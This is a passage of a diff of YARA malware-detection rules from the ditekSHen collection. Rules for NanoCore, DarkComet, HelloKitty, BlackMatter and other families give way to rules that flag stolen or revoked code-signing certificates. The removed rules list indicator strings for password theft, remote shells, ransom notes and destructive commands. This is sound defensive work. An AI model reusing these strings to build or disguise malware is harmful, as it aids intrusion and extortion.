 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7654-L7681"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7670-L7681"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6336260e0af2b4b51338ee066f41b7c58aa134a6c03ca110db7e088edf2b65a7"
+		logic_hash = "833e772e56e87f730ee1acb9d6ed747d239903cfd9470d777efab73c5d656f49"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "NanoCore Client" fullword ascii
-		$x2 = "NanoCore.ClientPlugin" fullword ascii
-		$x3 = "NanoCore.ClientPluginHost" fullword ascii
-		$i1 = "IClientApp" fullword ascii
-		$i2 = "IClientData" fullword ascii
-		$i3 = "IClientNetwork" fullword ascii
-		$i4 = "IClientAppHost" fullword ascii
-		$i5 = "IClientDataHost" fullword ascii
-		$i6 = "IClientLoggingHost" fullword ascii
-		$i7 = "IClientNetworkHost" fullword ascii
-		$i8 = "IClientUIHost" fullword ascii
-		$i9 = "IClientNameObjectCollection" fullword ascii
-		$i10 = "IClientReadOnlyNameObjectCollection" fullword ascii
-		$s1 = "ClientPlugin" fullword ascii
-		$s2 = "EndPoint" fullword ascii
-		$s3 = "IPAddress" fullword ascii
-		$s4 = "IPEndPoint" fullword ascii
-		$s5 = "IPHostEntr" fullword ascii
-		$s6 = "get_ClientSettings" fullword ascii
-		$s7 = "get_Connected" fullword ascii
+		thumbprint = "7b69ff55d3c39bd7d67a10f341c1443425f0c83f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 8 of ($i*) or all of ($s*) or (1 of ($x*) and (3 of ($i*) or 2 of ($s*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Zhuhai liancheng Technology Co., Ltd." and pe.signatures[i].serial=="62:7d:fd:f7:3a:14:55:de:51:43:a2:70:79:9e:6b:7b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Satan : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1966Bc76Bda1A708334792Da9A336F69 : FILE
 {
 	meta:
-		description = "Detects Satan ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f0a9369e-a3d7-5770-b490-4c9a919abb82"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "254ccdb7-df1c-560a-af68-123ea66c3463"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7683-L7709"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7683-L7694"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e50daa88e0067a0f00329c6369c0334bd282fb102c91ba5ca770da97851d6d2e"
+		logic_hash = "d0293e76f8a595d769fd302829bd94a576d647bbacb586728e804bf4dce1af78"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "S:(ML;;NRNWNX;;;LW)" fullword wide
-		$s2 = "recycle.bin" fullword wide
-		$s3 = "tmp_" fullword wide
-		$s4 = "%s%08x.%s" fullword wide
-		$s5 = "\"%s\" %s" fullword wide
-		$s6 = "/c \"%s\"" fullword wide
-		$s7 = "Global\\" fullword wide
-		$s8 = "rd /S /Q \"%s\"" fullword ascii
-		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)" fullword ascii
-		$e1 = "*pdf*" fullword wide
-		$e2 = "*rtf*" fullword wide
-		$e3 = "*doc*" fullword wide
-		$e4 = "*docx*" fullword wide
-		$e5 = "*xlsx*" fullword wide
-		$e6 = "*pptx*" fullword wide
-		$e7 = "*moneywell*" fullword wide
-		$o1 = { 56 8d 54 24 34 b9 9e f0 ea be e8 c1 f9 ff ff 8d }
-		$o2 = { b9 34 f6 40 00 e8 ea 0b 00 00 85 c0 0f 84 91 }
-		$o3 = { 53 8d 84 24 34 01 00 00 b9 01 00 00 80 50 a1 64 }
+		thumbprint = "29fec27c36efc6809c7269f76cf86ee18cc6ed87"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((8 of ($s*) and 4 of ($e*)) or all of ($s*) or ( all of ($e*) and 5 of ($s*)) or ( all of ($o*) and 8 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SYNTHETIC LABS LIMITED" and pe.signatures[i].serial=="19:66:bc:76:bd:a1:a7:08:33:47:92:da:9a:33:6f:69")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Neshta : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_82D224323Efa65060B641F51Fadfef02 : FILE
 {
 	meta:
-		description = "Detects Neshta"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b96ee19e-b631-57fd-bf8a-67d790202c46"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2c0b0e6d-2c82-506b-88ea-a6d49f0f64a6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7711-L7720"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7696-L7710"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7967c1154f652e28e541058a7b7f61aa077cfaf6be58282e1de68d9a6088c1ac"
+		logic_hash = "3ed849dfd905e01145274d41b3bbb2c0265b099e540ac17909b6ed59f006e245"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Delphi-the best. Fuck off all the rest. Neshta 1.0 Made in Belarus." fullword ascii
-		$s2 = "! Best regards 2 Tommy Salo. [Nov-2005] yours [Dziadulja Apanas]" fullword ascii
+		thumbprint = "8dccf6ad21a58226521e36d7e5dbad133331c181"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAVAS INVESTMENTS PTY LTD" and (pe.signatures[i].serial=="82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02" or pe.signatures[i].serial=="00:82:d2:24:32:3e:fa:65:06:0b:64:1f:51:fa:df:ef:02"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Linux_Hellokitty : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Be2F22C152Bb218B898C4029056816A9 : FILE
 {
 	meta:
-		description = "Detects Linux version of HelloKitty ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "bb228937-8cd8-5fb8-aaed-3bd539ae96f2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "50c0cee3-39d5-5c57-9515-11356f8cab93"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7722-L7746"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7712-L7726"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bcb1188d616b29fa535e757a37476435a3061d27e143339413f6829876701868"
+		logic_hash = "9eba1585d92b184afb7b75b84e0010539ac42ca27e4d5d8bccee6b01e3471cca"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "exec_pipe:%s" ascii
-		$s2 = "Error InitAPI !!!" fullword ascii
-		$s3 = "No Files Found !!!" fullword ascii
-		$s4 = "Error open log File:%s" fullword ascii
-		$s5 = "%ld - Files Found  " fullword ascii
-		$s6 = "Total VM run on host:" fullword ascii
-		$s7 = "error:%d open:%s" fullword ascii
-		$s8 = "work.log" fullword ascii
-		$s9 = "esxcli vm process kill" ascii
-		$s10 = "readdir64" fullword ascii
-		$s11 = "%s_%d.block" fullword ascii
-		$s12 = "EVP_EncryptFinal_ex" fullword ascii
-		$s13 = ".README_TO_RESTORE" fullword ascii
-		$m1 = "COMPROMISED AND YOUR SENSITIVE PRIVATE INFORMATION WAS STOLEN" ascii nocase
-		$m2 = "damage them without special software" ascii nocase
-		$m3 = "leaking or being sold" ascii nocase
-		$m4 = "Data will be Published and/or Sold" ascii nocase
+		thumbprint = "85fe11e799609306516d82e026d4baef4c1e9ad3"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and (6 of ($s*) or (2 of ($m*) and 2 of ($s*)) or 8 of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Marts GmbH" and (pe.signatures[i].serial=="be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9" or pe.signatures[i].serial=="00:be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Blackmatter : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_29E8E993D2406454B6B18Cb377471Bc6 : FILE
 {
 	meta:
-		description = "Detects BlackMatter ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "8883e652-edab-5cbf-a4fa-963b437447d9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a80f015c-3793-52ac-a405-1a7fe2ca0caa"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7748-L7767"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7728-L7739"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4558002b424f7102f67fc44dfc37ac20f6013e25ae827c6aee0fc37231e2fa72"
+		logic_hash = "bf248e664d00675d3fc87070b6358ca7539ef6e748b8bfafcba7ecb91cb1ea05"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "C:\\Windows\\System32\\*.drv" fullword wide
-		$s2 = "NYbr-Vk@" fullword ascii
-		$s3 = ":7:=:H:Q:W:\\:b:&;O;^;v;" fullword ascii
-		$o1 = { b0 34 aa fe c0 e2 fb b9 03 }
-		$o2 = { fe 00 ff 75 08 ff 75 0c ff b5 d8 fe ff ff ff b5 }
-		$o3 = { 6a 00 ff 75 0c ff b5 d8 fe ff ff ff b5 dc fe ff }
-		$o4 = { ff 75 08 ff 75 0c ff b5 d8 fe ff ff ff b5 dc fe }
-		$o5 = { 53 56 57 8d 85 70 ff ff ff 83 c0 0f 83 e0 f0 89 }
-		$o6 = { c7 85 68 ff ff ff 00 04 00 00 8b 85 6c ff ff ff }
+		thumbprint = "0fb38235366b0ba534a6f81c02d9a67555235e07"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($s*) and all of ($o*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MONDIAL MONTERO SP Z O O" and pe.signatures[i].serial=="29:e8:e9:93:d2:40:64:54:b6:b1:8c:b3:77:47:1b:c6")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlinjector04 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6Daa67498C3A5D8133F28Fefe9Ccc20E : FILE
 {
 	meta:
-		description = "Detects downloader / injector"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "fe423aee-6ff4-5fd0-9fa2-51dd0c27f54b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7769-L7790"
+		id = "5eb899b3-347d-5e74-8afa-29ffa73c7231"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7741-L7754"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ab9a047e53dec2cc5986522636783b5cb8aae7fc0297292d017ec22ee5750cce"
+		logic_hash = "dc66a18e4f8d14f98e5a8073d32b641e0eb795e989fb62ac23207e765838561a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Runner" fullword ascii
-		$s2 = "DownloadPayload" fullword ascii
-		$s3 = "RunOnStartup" fullword ascii
-		$a1 = "Antis" fullword ascii
-		$a2 = "antiVM" fullword ascii
-		$a3 = "antiSandbox" fullword ascii
-		$a4 = "antiDebug" fullword ascii
-		$a5 = "antiEmulator" fullword ascii
-		$a6 = "enablePersistence" fullword ascii
-		$a7 = "enableFakeError" fullword ascii
-		$a8 = "DetectVirtualMachine" fullword ascii
-		$a9 = "DetectSandboxie" fullword ascii
-		$a10 = "DetectDebugger" fullword ascii
-		$a11 = "CheckEmulator" fullword ascii
+		thumbprint = "f54146fadad277f67b14cfebd13cbada9789281cee7165db0277ad51621adb97"
+		reason = "ParallaxRAT"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($s*) and 5 of ($a*)) or 10 of ($a*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rimsara Development OU" and pe.signatures[i].serial=="6d:aa:67:49:8c:3a:5d:81:33:f2:8f:ef:e9:cc:c2:0e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Darkcomet : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_59F296D0Af649E0962D724248D9Fdcdb : FILE
 {
 	meta:
-		description = "Detects DarkComet"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ae2412df-adae-5640-9404-7b093c5095b4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7792-L7812"
+		id = "c9423cae-07a7-5ecb-966d-b1636563934a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7756-L7769"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "444df3c914c47500018614af10036864b459e7873daf079b684352dbe52f0486"
+		logic_hash = "0212033b2ea12f568a3c2e4d3768194c8035c6b6ebf054af90fe82ffcd7e6a5b"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "%s, ClassID: %s" ascii
-		$s2 = "%s, ProgID: \"%s\"" ascii
-		$s3 = "#KCMDDC51#" ascii
-		$s4 = "#BOT#VisitUrl" ascii
-		$s5 = "#BOT#OpenUrl" ascii
-		$s6 = "#BOT#Ping" ascii
-		$s7 = "#BOT#RunPrompt" ascii
-		$s8 = "#BOT#CloseServer" ascii
-		$s9 = "#BOT#SvrUninstall" ascii
-		$s10 = "#BOT#URLUpdate" ascii
-		$s11 = "#BOT#URLDownload" ascii
-		$s12 = /BTRESULT(Close|Download|HTTP|Mass|Open|Ping\|Respond|Run|Syn|UDP|Uninstall\|uninstall|Update|Visit)/ ascii
-		$s13 = "dclogs\\" fullword ascii
+		thumbprint = "ce2aa31a714cc05f86d726a959f6655efc40777aa474fb6b9689154fdc918a44"
+		reason = "DarkGate"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MK ZN s.r.o." and pe.signatures[i].serial=="59:f2:96:d0:af:64:9e:09:62:d7:24:24:8d:9f:dc:db")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Macoute : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_A32F3Ba229704Ad400473F7479E4C3E4 : FILE
 {
 	meta:
-		description = "Detects Macoute"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0ecfb923-2e51-544e-984d-efdeeb175727"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7814-L7836"
+		id = "28d687bc-e67c-51d1-82af-53255ee44a8d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7771-L7784"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1dffa48fe6c0ac053509b5f5994d323fd72d090da0f077b52c9bc33df6997964"
+		logic_hash = "9c7b9b6827e10a8c2a6d771d14068a074104683fe75f24dea85c5bf3f3bc04db"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "scp%s%s%s%s" ascii
-		$s2 = "putfile %s %s" ascii
-		$s3 = "pscp|%s|%s:%s" ascii
-		$s4 = "connect %host %port\\n" ascii
-		$s5 = "/ecoute/spool/%s-%lu" ascii
-		$s6 = "<f n=\"%s\" s=\"%lu\" d=\"%d-%d-%d\"/>" ascii
-		$s7 = "CMPT;%s;%s;%s;%s;%s" ascii
-		$s8 = "%s\\apoScreen%lu.dll" ascii
-		$s9 = "/cap/%s%lu.jpg" ascii
-		$s10 = "INFO;%u;%u;%u;%d;%d;%d;%d;%d;%d;%d;%s" ascii
-		$s11 = "SUBJECT: %s is comming!" ascii
-		$s12 = "Content-type: multipart/mixed; boundary=\"#BOUNDARY#\"" ascii
-		$s13 = "FROM: %s@yahoo.com" ascii
-		$s14 = "<html><script language=\"JavaScript\">window.open(\"readme.eml\", null,\"resizable=no,top=6000,left=6000\")</script></html>" ascii
-		$s15 = "<html><HEAD></HEAD><body bgColor=3D#ffffff><iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe></body></html>" ascii
+		thumbprint = "ab4b30913895d8df383fdadebc29d2e04a5c854bc4172c0d41bcbef176e8f37e"
+		reason = "RecordBreaker"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 10 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SOTUL SOLUTIONS LIMITED" and pe.signatures[i].serial=="a3:2f:3b:a2:29:70:4a:d4:00:47:3f:74:79:e4:c3:e4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Coinminer04 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3Ab74A2Ebf93447Adb83554B5564Fe03 : FILE
 {
 	meta:
-		description = "Detects coinmining malware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d90d8ad3-20b7-5bb4-8c58-3488c60ed9a2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7838-L7858"
+		id = "1b0be137-ddcf-5215-9cb0-d687d7b6ca6c"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7786-L7799"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2ef60dbf0bac3d5910635bb011a45e5ebc1392094b10425604fa9dd290198f8b"
+		logic_hash = "8dbc549ecaf1cb3f07486bac7ed265882af4b6b29b9772736118490eb9233303"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "createDll" fullword ascii
-		$s2 = "getTasks" fullword ascii
-		$s3 = "SetStartup" fullword ascii
-		$s4 = "loadUrl" fullword ascii
-		$s5 = "Processer" fullword ascii
-		$s6 = "checkProcess" fullword ascii
-		$s7 = "runProcess" fullword ascii
-		$s8 = "createDir" fullword ascii
-		$cnc1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" fullword wide
-		$cnc2 = "?hwid=" fullword wide
-		$cnc3 = "?timeout=1" fullword wide
-		$cnc4 = "&completed=" fullword wide
-		$cnc5 = "/cmd.php" wide
+		thumbprint = "8ed289fcc40bbc150a52b733123f6094ccfb2c499d6e932b0d9a6001490fb7e6"
+		reason = "RedLineStealer"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) and 1 of ($cnc*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "IMPERIOUS TECHNOLOGIES LIMITED" and pe.signatures[i].serial=="3a:b7:4a:2e:bf:93:44:7a:db:83:55:4b:55:64:fe:03")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Sidewalk : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_90212473C706F523Fe84Bdb9A78A01F4 : FILE
 {
 	meta:
-		description = "Detects SideWalk"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ab82b83a-a279-555a-83c2-6340431b10da"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7860-L7880"
+		id = "f195cf1e-4e01-51ec-ae12-21ff56dd58e2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7801-L7814"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6885a1ad69d61fa5875ee0db949071e84390fc2db4307c412b32cd17c0806f6a"
+		logic_hash = "8cd1e984bb81f071053614ae9d037d7ff5e01fb95aaa0474492386a7b5faecec"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Decommit" fullword ascii
-		$s2 = "Shellc0deRunner" fullword ascii
-		$s3 = "shellc0de" fullword ascii
-		$s4 = "C:\\Windows\\System32\\msdt.exe" fullword wide
-		$s5 = "StartProcessWOPid" fullword ascii
-		$s6 = "StartProcessWithParent" fullword ascii
-		$m1 = "alloctype" fullword ascii
-		$m2 = "ThreadIoPriority" fullword ascii
-		$m3 = "PebAddress" fullword ascii
-		$m4 = "dotnet.4.x64.dll" fullword wide
-		$m5 = "LogonNetCredentialsOnly" fullword ascii
-		$m6 = "ThreadIdealProcessor" fullword ascii
-		$m7 = "LogonWithProfile" fullword ascii
+		thumbprint = "6b18e9451c2e93564ed255e754b7e1cf0f817abda93015b21ae5e247c75f9d03"
+		reason = "Cerber"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($s*) or all of ($m*) or (11 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DEMUS, OOO" and pe.signatures[i].serial=="90:21:24:73:c7:06:f5:23:fe:84:bd:b9:a7:8a:01:f4")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Vanillarat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5C9F5F96726A6E6Fc3B8Bb153Ac82Af2 : FILE
 {
 	meta:
-		description = "Detects VanillaRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "70c2cd1a-a6d4-562e-a6fc-c16a9e87c6b7"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7882-L7902"
+		id = "f79e1a89-c7b4-5390-b20b-3f563f409cfe"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7816-L7829"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d7b90ac88a50693ec4bb0676c04f5d161f04f67970ea60d80e79d774da75bfdc"
+		logic_hash = "da76d86509aee2f9cac992e6b081dce5e68c747ad34abd2daeb32e6e390b880b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$stub = "VanillaStub." ascii wide
-		$s1 = "Client.Send: " wide
-		$s2 = "Connected to chat" fullword wide
-		$s3 = "GetStoredPasswords" fullword wide
-		$s4 = "Started screen locker." fullword wide
-		$s5 = "[<\\MOUSE>]" fullword wide
-		$s6 = "YOUR SCREEN HAS BEEN LOCKED!" fullword wide
-		$s7 = "record recsound" fullword wide
-		$f1 = "<StartRemoteDestkop>d__" ascii
-		$f2 = "<ConnectLoop>d__" ascii
-		$f3 = "<Scan0>k__" ascii
-		$f4 = "<RemoteShellActive>k__" ascii
-		$f5 = "KillClient" fullword ascii
+		thumbprint = "285925b7c7c692f8d71d980dcf2ddb4c208a0f7b826ead34db402755d1a0f6de"
+		reason = "IcedID"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (($stub and (2 of ($s*) or 2 of ($f*))) or 6 of ($s*) or all of ($f*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "1105 SOFTWARE LLC" and pe.signatures[i].serial=="5c:9f:5f:96:72:6a:6e:6f:c3:b8:bb:15:3a:c8:2a:f2")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Sectoprat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2A2F270535C2D5E7630720Fb229B5D1C : FILE
 {
 	meta:
-		description = "Detects SectopRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d6594834-24d7-5e86-84b5-5a7920e7bc89"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L7904-L7929"
+		id = "3ed98546-92b2-5566-9716-ae8209ece9d6"
+		date = "2023-12-08"
+		modified = "2023-12-08"
+		reference = "https://bazaar.abuse.ch/faq/#cscb"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7831-L7844"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b4048f837c02560a8b650247173be25893b466e5cec8f2784eea58172f973822"
+		logic_hash = "7d9785c12d2d744fbafab009edfb1ef232eadcdbc8eee99d0ad0daacabbabf26"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\\\.\\root\\cimv2:Win32_Process" wide
-		$s2 = "\\\\.\\root\\cimv2:CIM_DataFile.Name=" wide
-		$s3 = "^.*(?=Windows)" fullword wide
-		$s4 = "C:\\Windows\\System32\\cmd.exe" wide
-		$s5 = "C:\\Windows\\explorer.exe" wide
-		$s6 = "Disabling IE protection" wide
-		$s7 = "stream started succces" wide
-		$b1 = "/C start Firefox" wide
-		$b2 = "/C start chrome" wide
-		$b3 = "/C start iexplore" wide
-		$m1 = "DefWindowProc" fullword ascii
-		$m2 = "AuthStream" fullword ascii
-		$m3 = "KillBrowsers" fullword ascii
-		$m4 = "GetAllNetworkInterfaces" fullword ascii
-		$m5 = "EnumDisplayDevices" fullword ascii
-		$m6 = "RemoteClient.Packets" fullword ascii
-		$m7 = "IServerPacket" fullword ascii
-		$m8 = "keybd_event" fullword ascii
